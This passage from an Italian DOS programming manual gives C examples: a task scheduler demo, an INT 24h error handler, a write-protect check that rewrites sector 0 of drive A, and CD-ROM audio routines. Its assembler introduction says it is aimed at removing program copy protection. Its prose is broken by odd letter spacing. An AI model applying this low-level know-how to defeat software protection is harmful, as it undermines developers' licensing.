void task4(void);

/* our task_control object (just 1 please) */
task_control tasker;

void main(void)
{
/* task objects */
task t0((func_ptr)task0,1024);
task t1((func_ptr)task1,1024);
task t2((func_ptr)task2,1024);
task t3((func_ptr)task3,1024);
task t4((func_ptr)task4,1024);

/* add task objects to our task_control object ready q */
tasker.add_new_task(&t0);
tasker.add_new_task(&t1);
tasker.add_new_task(&t2);
tasker.add_new_task(&t3);
tasker.add_new_task(&t4);

/* use zortech display package */
disp_open();
disp_move(0,0);
disp_eeop();

/* start tasks up and wait for them to finish */
tasker.start_tasks();

disp_move(0,0);
disp_eeop();
disp_close();
}

static unsigned long counter[]={0L,0L,0L,0L,0L};
static signal sig;

/* task 0 prints the values of the counters for the other 4 tasks. */
/* lock is used to prevent task switching while the screen is being */
/* updated. when the task is finished, block is called to transfer */
/* control to the next task on the ready q */

void task0(void)
{
while(1){
/* disable task switching */
tasker.lock();
disp_move(5,10);
disp_printf("Task 1 %lx",counter[1]);
disp_move(5,50);
disp_printf("Task 2 %lx",counter[2]);
disp_move(15,10);
disp_printf("Task 3 %lx",counter[3]);
disp_move(15,50);
disp_printf("Task 4 %lx",counter[4]);
/* if key pressed then stop the kernel and return */
if(kbhit())
tasker.stop_tasks();
/* re-enable task switching */
tasker.unlock();
/* let next task run */
tasker.block();
}
}

/* tasks 1 and 2 just update counters. these tasks will run until */
/* a timer interrupt occurs, so they get a very large chunk of time */
/* to run, so the counters increase rapidly */

void task1(void)
{
while(1){
counter[1]++;
}
}

void task2(void)
{
while(1){
counter[2]++;
}
}

/* task 3 waits for a signal from task 4 each time the counter is */
/* incremented. when a task waits, it is put on a signal q and the */
/* next task on the ready q is run. this means task 3 and 4 counters */
/* will increment very slowly. in task 4 when a signal is sent, the */
/* task signal q is checked for a task to put on the ready q. the task */
/* sending the signal is then placed on the ready q */

void task3(void)
{
while(1){
counter[3]++;
/* wait for a signal from task 4 */
tasker.wait(&sig);
}
}

void task4(void)
{
while(1){
counter[4]++;
/* send signal to task 3 */
tasker.send(&sig);
}
}



INT 24H - CRITICAL ERROR HANDLER


Quando i l si st ema oper at i vo cer ca di acceder e ad una per i f er i ca har dwar e
quest a gener a un er r or e vi ene chi amat o l i nt 24h che gener al ment e cr ea un
messaggi o del t i po :

"Disk Error, (A)bort (R)etry (F)ail"...

oppur e

"Abort, Retry, Ignore"

I l seguent e l i st at o per met t e d i nt er cet t ar e l i nt 24h.

#include <bios.h>
#include <dos.h>
#include <stdio.h>

#define CRIT_ERROR_HANDLER (0x24)

/** FUNCTION PROTOTYPES **/
void install_24(void);
void uninstall_24(void);
void interrupt handle_24 (unsigned bp, unsigned di, unsigned si,
unsigned ds, unsigned es, unsigned dx,
unsigned cx, unsigned bx, unsigned ax);
void fastprintz(int x, int y, int attr, char *s);
int getbioskey(void);

void interrupt (*oldvect)();
unsigned scr; /* The segment where the screen is */

/** install_24
**
** Installs the fancy interrupt handler.
**/

void install_24(void)
{
oldvect = getvect(CRIT_ERROR_HANDLER); /* save old handler */
setvect(CRIT_ERROR_HANDLER, handle_24); /* and install ours */

/* Find out if the screen is at 0xB000 or 0xB800 */
_AH = 0x0F;
geninterrupt (0x10);
if (_AL == 7)
scr = 0xB000;
else
scr = 0xB800;
}


void uninstall_24(void)
{
/* Restore old handler */
setvect(CRIT_ERROR_HANDLER, oldvect);
}

static char screen_buf[9][52]; /* room for the saved part of screen */

void interrupt handle_24 (unsigned bp, unsigned di, unsigned si,
unsigned ds, unsigned es, unsigned dx,
unsigned cx, unsigned bx, unsigned ax)
{

int err,key,ret=-1;
int r,c,start;

err = di & 0x00FF; /* Error message, from DOS. */

/* Save section of screen that will be overwritten */
for (r=8; r<17; r++) {
start = (160 * r + 54);
for (c=0; c<26; c++) {
screen_buf[r-8][c*2] = peekb(scr, start++);
screen_buf[r-8][c*2+1] = peekb(scr, start++);
}
}

/* Pop up error message */
fastprintz( 8,27,0x07,"");
fastprintz( 9,27,0x07,"Error! ");
fastprintz(10,27,0x07," ");

/* Common diagnosable problems */
switch(err) {
case 0x00:
fastprintz(11,27,0x07,"Disk is write protected."); break;
case 0x02:
fastprintz(11,27,0x07,"Disk drive is not ready."); break;
default:
fastprintz(11,17,0x07,"Disk error. "); break;
}

fastprintz(12,27,0x07," ");
fastprintz(13,27,0x07," Try again ");
fastprintz(13,29,0x0f,"T");
fastprintz(14,27,0x07," Exit this program ");
fastprintz(14,29,0x0f,"E");

/* In DOS 3.00 and later, they can also fail the disk access */
if (_osmajor > 2) {
fastprintz(15,27,0x07," Cancel this operation ");
fastprintz(15,29,0x0f,"C");
}
else
fastprintz(15,27,0x07," ");

fastprintz(16,27,0x07,"");

/* Call BIOS to get a single keystroke from the user */
do {
key=getbioskey();

if (key & 0x00FF)
key &= 0x00FF;

switch(key) {
case 't': case 'T': ret = 0x0001; break;
case 'e': case 'E': ret = 0x0002; break;
case 'c': case 'C': if (_osmajor > 2) ret = 0x0003; break;
default: break;
}

} while (ret < 0);

/* Restore that section of the screen */
for (r=8; r<17; r++) {
start = (160*r + 54);
for (c=0; c<26; c++) {
pokeb(scr, start++, screen_buf[r-8][c*2]);
pokeb(scr, start++, screen_buf[r-8][c*2+1]);
}
}

ax = ret;
/* And please don't tell me I didn't use any of those parameters. */
#pragma warn -par
}
#pragma warn .par


/* fastprintz - shove an asciz string onto the screen */
void
fastprintz(int y, int x, int attr, char *s)
{
int i=0,base;

base = (80*y+x)<<1; /* determine offset into screen */
while (s[i]!=0) {
pokeb(scr, base++, s[i++]);
pokeb(scr, base++, attr);
}
}

/** getbioskey
**
** get one key from the BIOS
**
** Like TC bioskey(0), but doesn't nab control Break. It seems
** that the TC bioskey was trying to block Ctrl-Breaks, which
** it did by changing the Ctrl-Break handler, which it called
** DOS to do. This made the interrupt handler reenter DOS which
** is illegal.
**/

int getbioskey(void)
{
union REGS regs;
struct SREGS segregs;

segread(&segregs);
regs.h.ah = 0;
int86x (0x16, &regs, &regs, &segregs);
return regs.x.ax;
}

INT 25H e 26H ABSOLUTE READ AND WRITE


I l seguent e pr ogr ammi no usa gl i i nt 25h e 26h per veder e se i l dr i ve A
ut i l i zzabi l e e se non pr ot et t o i n scr i t t ur a.

/********************************************************************
* WR_PROT.C
*
* Check to see if a drive is write protected
*
* Uses the DOS Interupts 25H and 26H to do an absolute
* read, then write of logical sector 0 of the drive.
*
* resultant ERRORLEVELs:
* 2 : error accessing drive
* 1 : write protected
* 0 : writable
*/
#include <dos.h>
char buffer[2048];

int main()
{
union REGS inregs, outregs;
struct SREGS segregs;
char far *bufferp;

inregs.h.al = 0; /* drive number 0,1 = a,b: 128,129=c,d */
inregs.x.cx = 1; /* sectors to read */
inregs.x.dx = 0; /* starting sector number */
bufferp = buffer;
inregs.x.bx = FP_OFF(bufferp);
segregs.ds = FP_SEG(bufferp);

int86x(0x25, &inregs, &outregs, &segregs);
if (outregs.x.cflag == 1) {
printf("error reading drive A\n");
return 2;
}

int86x(0x26, &inregs, &outregs, &segregs);
if (outregs.x.cflag == 1) {
printf("error writing drive A\n");
return 1;
}

return 0;
}


INTERRUPT DI MULTIPLEXING E FUNZIONI LEGATE AL CD


I l seguent e pr ogr amma t r a i l f r eewar e sof t war e ed una r accol t a di r out i ne
l egat e al l a gest i one del cd.
Sono ut i l i i n mol t i casi i n quant o sono i n gr ado di l egger e anche l a l unghezza
del l e t r acci e dei cd musi cal i .
Le spi egazi oni del l e f unzi oni sono nel l e r i ghe di REM del pr ogr amma.

/* CDROM AUDIO ROUTINES
By Barry Egerter

Written July 18, 1994

Using Borland C++ 3.1

Code : FREEWARE - alter and use at will.


Internet Email: [email protected]
*/
#include <dos.h>
#include <io.h>
#include <mem.h>
#include <fcntl.h>

#define CDROM 0x21
#define EJECT_TRAY 0
#define RESET 2
#define CLOSE_TRAY 5
#define MEDIA_CHANGE 9
#define BUSY 512
#define TRACK_MASK 208

typedef struct playinfo {
unsigned char control;
unsigned char adr;
unsigned char track;
unsigned char index;
unsigned char min;
unsigned char sec;
unsigned char frame;
unsigned char zero;
unsigned char amin;
unsigned char asec;
unsigned char aframe;
};


typedef struct volumeinfo {
unsigned char mode;
unsigned char input0;
unsigned char volume0;
unsigned char input1;
unsigned char volume1;
unsigned char input2;
unsigned char volume2;
unsigned char input3;
unsigned char volume3;
};


struct {
unsigned short drives;
unsigned char first_drive;
unsigned short current_track;
unsigned long track_position;
unsigned char track_type;
unsigned char low_audio;
unsigned char high_audio;
unsigned char disk_length_min;
unsigned char disk_length_sec;
unsigned char disk_length_frames;
unsigned long endofdisk;
unsigned char upc[7];
unsigned char diskid[6];
unsigned long status;
unsigned short error; /* See description below */
} cdrom_data;

/* CDROM_DATA.ERROR Description

Bit 15 - Error bit
Bit 14-10 - Reserved
Bit 9 - Busy
Bit 8 - Done
Bit 7-0 - Error code (bit 15 on)

Error codes are the following:

0 Write-protect violation
1 Unknown unit
2 Drive not ready
3 Unknown command
4 CRC error
5 Bad drive request structure length
6 Seek error
7 Unknown media
8 Sector not found
9 Printer out of paper
A Write fault
B Read fault
C General failure
D Reserved
E Reserved
F Invalid disk change
*/


/* Multiplex Interrupt routines
"borrowed" from Ralf Brown's MSDOS Interrupt List v4.1

INT 21 - CD-ROM device driver - IOCTL INPUT
AX = 4402h
BX = file handle referencing character device for CD-ROM driver
CX = number of bytes to read
DS:DX -> control block (see #0563)
Return: CF clear if successful
AX = number of bytes actually read
CF set on error
AX = error code (01h,05h,06h,0Dh) (see #0770 at AH=59h)
Note: the data returned depends on the first byte of the control block; the
remainder of the control block is filled by the driver
SeeAlso: AX=4403h"CD-ROM",INT 2F/AX=0802h

(Table 0562)
Values for CD-ROM data being requested:
00h device driver header address
01h drive head location
02h reserved
03h error statistics
04h audio channel info
05h raw drive bytes (uninterpreted and device-specific)
06h device status
07h sector size
08h volume size
09h media change status
0Ah audio disk info
0Bh audio track info
0Ch audio Q-Channel info
0Dh audio sub-channel info
0Eh UPC code

Format of CD-ROM control block:
Offset Size Description (Table 0563)
00h BYTE data being requested (see #0562)
---function 00h---
01h DWORD device driver header address (see also AH=52h)
---function 01h---
01h BYTE addressing mode
00h HSG
01h Red Book
02h DWORD current location of drive's head
logical sector number in HSG mode
frame/second/minute/unused in Red Book mode
(HSG sector = minute * 4500 + second * 75 + frame - 150)
---function 03h---
01h N BYTEs undefined as of 5 Aug 88 specification
---function 04h---
01h BYTE input channel (0-3) for output channel 0
02h BYTE volume for output channel 0
03h BYTE input channel (0-3) for output channel 1
04h BYTE volume for output channel 1
05h BYTE input channel (0-3) for output channel 2
06h BYTE volume for output channel 2
07h BYTE input channel (0-3) for output channel 3
08h BYTE volume for output channel 3
Notes: output channels 0 and 1 are left and right, 2 and 3 are left prime
and
right prime; a volume of 00h is off
the default setting is for each input channel to be assigned to the
same-numbered output channel at full (FFh) volume
---function 05h---
01h BYTE number of bytes read
02h 128 BYTEs buffer for drive bytes
---function 06h---
01h DWORD device parameters (see #0564)
---function 07h---
01h BYTE read mode
00h cooked
01h raw
02h WORD sector size in bytes
---function 08h---
01h DWORD volume size in sectors
---function 09h---
01h BYTE media change status
00h don't know
01h media unchanged
FFh media has been changed
---function 0Ah---
01h BYTE lowest audio track number
02h BYTE highest audio track number
03h DWORD start address of lead-out track (Red Book format)
--function 0Bh---
01h BYTE track number (set by caller)
02h DWORD starting point of track (Red Book format)
06h BYTE track control info
bits 15,14,12: track type (notice: bits not contiguous!)
000 two audio channels, no pre-emphasis
001 two audio channels with pre-emphasis
010 data track
100 four audio channels, no pre-emphasis
101 four audio channels with pre-emphasis
other reserved
bit 13: digital copy permitted
---function 0Ch---
01h BYTE CONTROL and ADR byte (as received from drive)
02h BYTE track number
03h BYTE point or index
04h BYTE minute \
05h BYTE second > running time within track
06h BYTE frame /
07h BYTE zero
08h BYTE "AMIN" or "PMIN" \
09h BYTE "ASEC" or "PSEC" > running time on disk
0Ah BYTE "AFRAME" or "PFRAME" /
---function 0Dh---
01h DWORD starting frame address (Red Book format)
05h DWORD transfer address
09h DWORD number of sectors to read
Note: copies 96 bytes of sub-channel info per sector into buffer
---function 0Eh---
01h BYTE CONTROL and ADR byte
02h 7 BYTEs UPC/EAN code (13 BCD digits,low-order nybble of last byte is
0)
09h BYTE zero
0Ah BYTE "AFRAME"

Bitfields for CD-ROM device parameters:
Bit(s) Description (Table 0564)
0 door open
1 door unlocked
2 supports raw reading in addition to cooked
3 writable
4 can play audio/video tracks
5 supports interleaving
6 reserved
7 supports prefetch requests
8 supports audio channel control
9 supports Red Book addressing in addition to HSG
10 audio is playing
*/

static union REGS inregs, outregs;
static struct SREGS sregs;


void device_request (void *block)
{
inregs.x.ax = 0x1510;
inregs.x.cx = cdrom_data.first_drive;
inregs.x.bx = FP_OFF (block);
sregs.es = FP_SEG (block);
int86x (0x2f, &inregs, &outregs, &sregs);
}


void red_book (unsigned long value, unsigned char *min, unsigned char *sec,
unsigned char *frame)
{
*frame = value & 0x000000ff;
*sec = (value & 0x0000ff00) >> 8;
*min = (value & 0x00ff0000) >> 16;
}


unsigned long hsg (unsigned long value)
{
unsigned char min, sec, frame;

red_book (value, &min, &sec, &frame);
value = (unsigned long)min * 4500;
value += (short)sec * 75;
value += frame - 150;
return value;
}


unsigned long cd_head_position (void)
{
struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
unsigned char media;
unsigned long address;
unsigned short bytes;
unsigned short sector;
unsigned long volid;
unsigned char unused[4];
} tray_request;

struct {
unsigned char mode;
unsigned char adr_mode;
unsigned long address;
} head_data;

tray_request.length = sizeof (tray_request);
tray_request.subunit = 0;
tray_request.comcode = 3;
tray_request.media = tray_request.sector = tray_request.volid = 0;
tray_request.address = (unsigned long)&head_data;
tray_request.bytes = 6;
head_data.mode = 0x01;
head_data.adr_mode = 0x00;
device_request (&tray_request);
cdrom_data.error = tray_request.status;
return head_data.address;
}


void cd_get_volume (struct volumeinfo *vol)
{
struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
unsigned char media;
unsigned long address;
unsigned short bytes;
unsigned short sector;
unsigned long volid;
} tray_request;

tray_request.length = sizeof (tray_request);
tray_request.subunit = 0;
tray_request.comcode = 3;
tray_request.media = 0;
tray_request.media = tray_request.sector = tray_request.volid = 0;
tray_request.address = (unsigned long)vol;
tray_request.bytes = 9;
vol->mode = 0x04;
device_request (&tray_request);
cdrom_data.error = tray_request.status;
}


void cd_set_volume (struct volumeinfo *vol)
{
struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
unsigned char media;
unsigned long address;
unsigned short bytes;
unsigned char unused[4];
} cd_request;

vol->mode = 3;
cd_request.length = sizeof (cd_request);
cd_request.subunit = 0;
cd_request.comcode = 12;
cd_request.media = 0;
cd_request.address = (unsigned long)vol;
cd_request.bytes = 9;
device_request (&cd_request);
cdrom_data.error = cd_request.status;
}


short cd_getupc (void)
{
struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
unsigned char media;
unsigned long address;
unsigned short bytes;
unsigned short sector;
unsigned long volid;
} tray_request;

struct {
unsigned char mode;
unsigned char adr;
unsigned char upc[7];
unsigned char zero;
unsigned char aframe;
} upc_data;
tray_request.length = sizeof (tray_request);
tray_request.subunit = 0;
tray_request.comcode = 3;
tray_request.media = 0;
tray_request.media = tray_request.sector = tray_request.volid = 0;
tray_request.address = (unsigned long)&upc_data;
tray_request.bytes = 11;
upc_data.mode = 0x0e;
upc_data.adr = 2;
device_request (&tray_request);
cdrom_data.error = tray_request.status;
if (upc_data.adr == 0)
memset (&upc_data.upc, 0, 7);
memcpy (&cdrom_data.upc[0], &upc_data.upc[0], 7);
return 1;
}


void cd_get_audio_info (void)
{
struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
unsigned char media;
long address;
short bytes;
short sector;
long volid;
} ioctli;

struct {
unsigned char mode;
unsigned char lowest;
unsigned char highest;
unsigned long address;
} track_data;

ioctli.length = sizeof (ioctli);
ioctli.subunit = 0;
ioctli.comcode = 3;
ioctli.media = 0;
ioctli.sector = 0;
ioctli.volid = 0;
ioctli.address = (long)&track_data;
ioctli.bytes = sizeof (track_data);
track_data.mode = 0x0a;
device_request (&ioctli);
memcpy (&cdrom_data.diskid, &track_data.lowest, 6);
cdrom_data.low_audio = track_data.lowest;
cdrom_data.high_audio = track_data.highest;
red_book (track_data.address, &cdrom_data.disk_length_min,
&cdrom_data.disk_length_sec, &cdrom_data.disk_length_frames);
cdrom_data.endofdisk = hsg (track_data.address);
cdrom_data.error = ioctli.status;
}


void cd_set_track (short tracknum)
{
struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
unsigned char media;
unsigned long address;
unsigned short bytes;
unsigned short sector;
unsigned long volid;
} tray_request;

struct {
unsigned char mode;
unsigned char track;
unsigned long address;
unsigned char control;
} track_data;

tray_request.length = sizeof (tray_request);
tray_request.subunit = 0;
tray_request.comcode = 3;
tray_request.media = 0;
tray_request.media = tray_request.sector = tray_request.volid = 0;
tray_request.address = (unsigned long)&track_data;
tray_request.bytes = 7;
track_data.mode = 0x0b;
track_data.track = tracknum;
device_request (&tray_request);
cdrom_data.error = tray_request.status;
cdrom_data.track_position = hsg (track_data.address);
cdrom_data.current_track = tracknum;
cdrom_data.track_type = track_data.control & TRACK_MASK;
}


unsigned long get_track_length (short tracknum)
{
unsigned long start, finish;
unsigned short ct;

ct = cdrom_data.current_track;
cd_set_track (tracknum);
start = cdrom_data.track_position;
if (tracknum < cdrom_data.high_audio)
{
cd_set_track (tracknum+1);
finish = cdrom_data.track_position;
}
else finish = cdrom_data.endofdisk;

cd_set_track (ct);

finish -= start;
return finish;
}


void cd_track_length (short tracknum, unsigned char *min, unsigned char *sec,
unsigned char *frame)
{
unsigned long value;

value = get_track_length (tracknum);
value += 150;
*frame = value % 75;
value -= *frame;
value /= 75;
*sec = value % 60;
value -= *sec;
value /= 60;
*min = value;
}


void cd_status (void)
{
struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
unsigned char media;
unsigned long address;
unsigned short bytes;
unsigned short sector;
unsigned long volid;
} tray_request;

struct {
unsigned char mode;
unsigned long status;
} cd_data;

tray_request.length = sizeof (tray_request);
tray_request.subunit = 0;
tray_request.comcode = 3;
tray_request.media = 0;
tray_request.media = tray_request.sector = tray_request.volid = 0;
tray_request.address = (unsigned long)&cd_data;
tray_request.bytes = 5;

cd_data.mode = 0x06;
device_request (&tray_request);
cdrom_data.status = cd_data.status;
cdrom_data.error = tray_request.status;
}


void cd_seek (unsigned long location)
{
unsigned char min, sec, frame;
struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
unsigned char addressmode;
unsigned long transfer;
unsigned short sectors;
unsigned long seekpos;
} play_request;

play_request.length = sizeof (play_request);
play_request.subunit = 0;
play_request.comcode = 131;
play_request.addressmode = 0;
play_request.transfer = 0;
play_request.sectors = 0;
play_request.seekpos = location;
device_request (&play_request);
cdrom_data.error = play_request.status;
}


void cd_play_audio (unsigned long begin, unsigned long end)
{
unsigned long leng;

struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
unsigned char addressmode;
unsigned long start;
unsigned long playlength;
} play_request;

play_request.length = sizeof (play_request);
play_request.subunit = 0;
play_request.comcode = 132;
play_request.addressmode = 0;
play_request.start = begin;
play_request.playlength = end-begin;
device_request (&play_request);
cdrom_data.error = play_request.status;
}


void cd_stop_audio (void)
{
struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
} stop_request;

stop_request.length = sizeof (stop_request);
stop_request.subunit = 0;
stop_request.comcode = 133;
device_request (&stop_request);
cdrom_data.error = stop_request.status;
}


void cd_resume_audio (void)
{
struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
} stop_request;

stop_request.length = sizeof (stop_request);
stop_request.subunit = 0;
stop_request.comcode = 136;
device_request (&stop_request);
cdrom_data.error = stop_request.status;
}


void cd_cmd (unsigned char mode)
{
struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
unsigned char media;
unsigned long address;
unsigned short bytes;
unsigned char unused[4];
} tray_request;

unsigned char cd_mode;

cd_mode = mode;
tray_request.length = sizeof (tray_request);
tray_request.subunit = 0;
tray_request.comcode = 12;
tray_request.media = 0;
tray_request.address = (unsigned long)&cd_mode;
tray_request.bytes = 1;
device_request (&tray_request);
cdrom_data.error = tray_request.status;
}


void cd_getpos (struct playinfo *info)
{
struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
unsigned char media;
unsigned long address;
unsigned short bytes;
unsigned short sector;
unsigned long volid;
} tray_request;

tray_request.length = sizeof (tray_request);
tray_request.subunit = 0;
tray_request.comcode = 3;
tray_request.media = 0;
tray_request.media = tray_request.sector = tray_request.volid = 0;
tray_request.address = (unsigned long)info;
tray_request.bytes = 6;
info->control = 12;
device_request (&tray_request);
cdrom_data.error = tray_request.status;
}


short cdrom_installed (void)
{
inregs.h.ah = 0x15;
inregs.h.al = 0x00;
inregs.x.bx = 0;
int86 (0x2f, &inregs, &outregs);
if (outregs.x.bx == 0)
return (0);
cdrom_data.drives = outregs.x.bx;
cdrom_data.first_drive = outregs.x.cx;
cd_get_audio_info ();
return (1);
}


short cd_done_play (void)
{
cd_cmd (CLOSE_TRAY);
return ((cdrom_data.error & BUSY) == 0);
}


short cd_mediach (void)
{
struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
unsigned char media;
unsigned long address;
unsigned short bytes;
unsigned short sector;
unsigned long volid;
} tray_request;

struct {
unsigned char mode;
unsigned char media;
} cd_data;

tray_request.length = sizeof (tray_request);
tray_request.subunit = 0;
tray_request.comcode = 3;
tray_request.media = 0;
tray_request.media = tray_request.sector = tray_request.volid = 0;
tray_request.address = (unsigned long)&cd_data;
tray_request.bytes = 2;

cd_data.mode = 0x09;
device_request (&tray_request);
cdrom_data.error = tray_request.status;
return cd_data.media;
}


void cd_lock (unsigned char doormode)
{
struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
unsigned char media;
unsigned long address;
unsigned short bytes;
unsigned char unused[4];
} tray_request;

struct {
unsigned char mode;
unsigned char media;
} cd_data;

tray_request.length = sizeof (tray_request);
tray_request.subunit = 0;
tray_request.comcode = 12;
tray_request.media = 0;
tray_request.address = (unsigned long)&cd_data;
tray_request.bytes = 2;
cd_data.mode = 1;
cd_data.media = doormode;
device_request (&tray_request);
cdrom_data.error = tray_request.status;
}




LINGUAGGIO ASSEMBLER E ARCHITETTURA SOFTWARE


Vogl i o speci f i car e che quest o non vuol e esser e un manual e det t agl i at o di
pr ogr ammazi one i n assembl er ma vuol e sol t ant o dar e un i nf ar i nat ur a che vi
per met t a di anal i zzar e i l codi ce most r at o dai di sassembl at or i .
Cr ear e un buon manual e del l assembl er Pent i um, x86 non cosa sempl i ce pr opr i o
per l a compl i cazi one dei pr ocessor i st essi .
I n f ase di pr ogr ammazi one esi st ono speci f i che che vi per met t ono di def i ni r e
segment i , macr o ecc.
Nei l i st at i r i por t at i dai di sassembl at or i mol t e speci f i che non sono most r at e i n
quant o i l i nguaggi che hanno or i gi nat o i l codi ce che vedet e non sono di f at t o
assembl er , ma qual si asi al t r o a par t i r e da Del phi per gi unger e a Basi c ecc.
Anche pr ogr ammi che sono st at i scr i t t i i n Macr o Assembl er dopo esser e compi l at i
per dono l e l or o car at t er i st i che.
Quest i pr ogr ammi , i nf at t i , f anno r i f er i ment o a si mbol i che i l compi l at or e e i l
l i nker t r aducono i n qual che al t r o modo o che comunque ut i l i zza come di r et t i ve.
Ol t r e a quest o consi der at e che i l codi ce che vedet e i n un debugger quel l o i n
esecuzi one per cui gl i i ndi r i zzi sono assol ut i .
Veni amo al sodo.
Or i gi nar i ament e l el et t r oni ca dei PC compost a da pr ocessor i dedi cat i al l e
var i e f unzi oni che possi edono por t e di pr ogr ammazi one e ser vi zi per l a r i chi est a
di cer t e f unzi onal i t , gener al ment e r esi dent i su ROM pr esent i sul l e schede
st esse.
La pr ogr ammazi one di r et t a del l har dwar e del si st ema t r ami t e l e var i e por t e di
I / O sar ebbe una cosa suf f i ci ent ement e compl essa e l unga per cui i cost r ut t or i
dei per sonal hanno f or ni t o i si st emi con al l i nt er no un BI OS ( Basi c I nput Out put
Syst em) che of f r e ser vi zi di base per l a pr ogr ammazi one del l e per i f er i che
har dwar e.
I ser vi zi sono i nser i t i dent r o a quel l i che vengono def i ni t i come i nt er r upt s che
pot r emmo un p par agonar l i a met odi che possono esser e r i chi amat i i n qual si asi
i st ant e dai nost r i pr ogr ammi per esegui r e di ver si t i pi di f unzi oni .
Esi st ono f unzi oni d i nt er r upt s l egat e al l a scheda vi deo, adat t e a set t ar e l a
modal i t , a st ampar e car at t er i , a set t ar e col or i ecc.
Al t r e f unzi oni d i nt er r upt s sono l egat e al l e por t e di comuni cazi one ser i al e e
par al l el a e qui ndi i ndi r i zzat e a cont r ol l ar e st ampant i e modem.
Anche i di schi possi edono l e pr opr i e f unzi oni d i nt er r upt s per i l l or o
cont r ol l o.
Quest e f unzi oni of f r ono ser vi zi mi ni mal i per cui i l si st ema oper at i vo f or ni t o
con i l comput er aggi unge un al t r a ser i e d i nt er r upt s pi ad al t o l i vel l o che
nor mal ment e sono i ndi cat i come i nt er r upt s del DOS.
Per spi egar mi megl i o vogl i o r i por t ar e ad esempi o l i nt er r upt che cont r ol l a i l
di sco.
Quest o of f r e ser vi zi mi ni mal i come ad esempi o l eggi un set t or e oppur e scr i vi un
set t or e.
Pensat e se dovessi mo scr i ver ci noi t ut t e l e r out i ne per scr i ver e i n un f i l e e
per f ar e i n modo che quest o venga st r ut t ur at o i n un i nsi eme che cost i t ui sce l e
di r et ct or y del nost r o di sco !
Sar ebbe una cosa most r uosa.
I ser vi zi del DOS of f r ono f unzi onal i t come ad esempi o APRI UN FI LE, LEGGI DAL
FI LE, CANCELLA I L FI LE et c.
I nf at t i i l DOS suppor t andosi sul Bi os el eva l e sue f unzi onal i t .
I l di scor so degl i i nt er r upt s vast o e i n al cuni casi compl essi per cui i n
quest a sede t r al asci er gr an par t e del l a t eor i a per r i por t ar e sol o l e cose che
possono esser e i mpor t ant i nel caso i n cui si t ent i di r aggi unger e una f i nal i t
come quel l a di spr ot egger e un pr ogr amma.
Gl i i nt er r upt s si suddi vi dono i n due par t i ovver o gl i i nt er r upt s har dwar e e
quel l i sof t war e.
A di r e i l ver o esi st e anche un t er zo t i po anche se per sonal ment e non oser ei
def i ni r l i come t al i .
I n pr at i ca quest i sono gl i i nt er r upt s di t abel l a i l cui scopo quel l o di
f or ni r e l i ndi r i zzo di al cune t abel l e di si st ema.
I n al t r e par ol e quando vi ene chi amat o un i nt er r upt i l si st ema i nt er ompe quel l o
che st ava f acendo sal vando i dat i da qual che par t e, r eper i sce l i ndi r i zzo
del l i nt er r upt e pr osegue l esecuzi one par t endo dal l i ndi r i zzo r eper i t o.
Negl i i nt er r upt s di t abel l a ser ve sol o r eper i r e l i ndi r i zzo i n quant o a
quel l of f set esi st ono dat i ut i l i zzat i dal si st ema.
Le var i e ci r cui t er i e el et t r oni che che compongono l har dwar e dei nost r i si st emi
ut i l i zzano gl i i nt er r upt s har dwar e per segnal ar e al cuni event i .
Ad esempi o un chi p che cont r ol l a l a por t a ser i al e r i chi ama un i nt er r upt s per
segnal ar e l a r i cezi one di un car at t er e.
Gl i i nt er r upt s possi edono una pr i or i t per cui nel caso i n cui vengano chi amat i
pi i nt er r upt s l or di ne di esecuzi one di pende pr opr i o da quest o.
La memor i a del si st ema possi ede una t abel l a a par t i r e dal l i ndi r i zzo 0 che usa
per mant ener e gl i i ndi r i zzi dei 256 i nt er r upt s possi bi l i .
Ogni i ndi r i zzo cost i t ui t o da 4 byt es per cui quest a t abel l a di 1024 byt es ( 4
* 256) .
Nei comput er s esi st e un concet t o che l egat o a quel l o che l o st ack che per
or a vedr emo scor por andol o dal concet t o di segment o.
Quest o f at i di co st ack pot r ebbe esser e par agonat o al l o spunzone dove i bar i st i
i nf i l ano gl i scont r i ni del l e consumazi oni .
Chi ar ament e i l pr i mo scont r i no i nser i t o, i n f ase di est r azi one, sar anche
l ul t i mo ad esser e est r at t o.
Lo st ack i n un si st ema una zona del l a memor i a che vi ene ut i l i zzat a per di ver si
scopi i l cui f unzi onament o si at t i ene a quest a l ogi ca.
Lo st ack ser ve per i nser i r ci moment aneament e gl i i ndi r i zzi di r i t or no nel l e
chi amat e subor di nat e.
Nel caso di chi amat e ad i nt er r upt s i l si st ema usa l o st ack per i nser i r e gl i
i ndi r i zzi di r i t or no al punt o i n cui avvenut a l a chi amat a.
Per chi conosce i l Basi c posso r i por t ar e i due concet t i l egat i al GOTO e al
GOSUB.
La pr i ma una chi amat a i ncondi zi onat a, ovver o i l pr ogr amma i nt er r ompe l a
sequenzi al i t nel l a sua esecuzi one ed esegue un sal t o ad un al t r o punt o, senza
pi r i t or nar e a dove st at a esegui t a l a chi amat a.
La seconda i nvece necessi t a del l a memor i zzazi one del l i ndi r i zzo di dove st at o
esegui t o i l sal t o i n quant o, dopo aver t r ovat o l i st r uzi one RETURN, i l pr ogr amma
dovr r i t or nar e al punt o d or i gi ne.
Quest o avvi ene anche per l a chi amat a a f unzi oni .
Supponi amo che si a abbi a i l seguent e codi ce.

FUNZ_1
SALVA_INDIRIZZO_NELLO_STACK
ISTRUZIONE 1
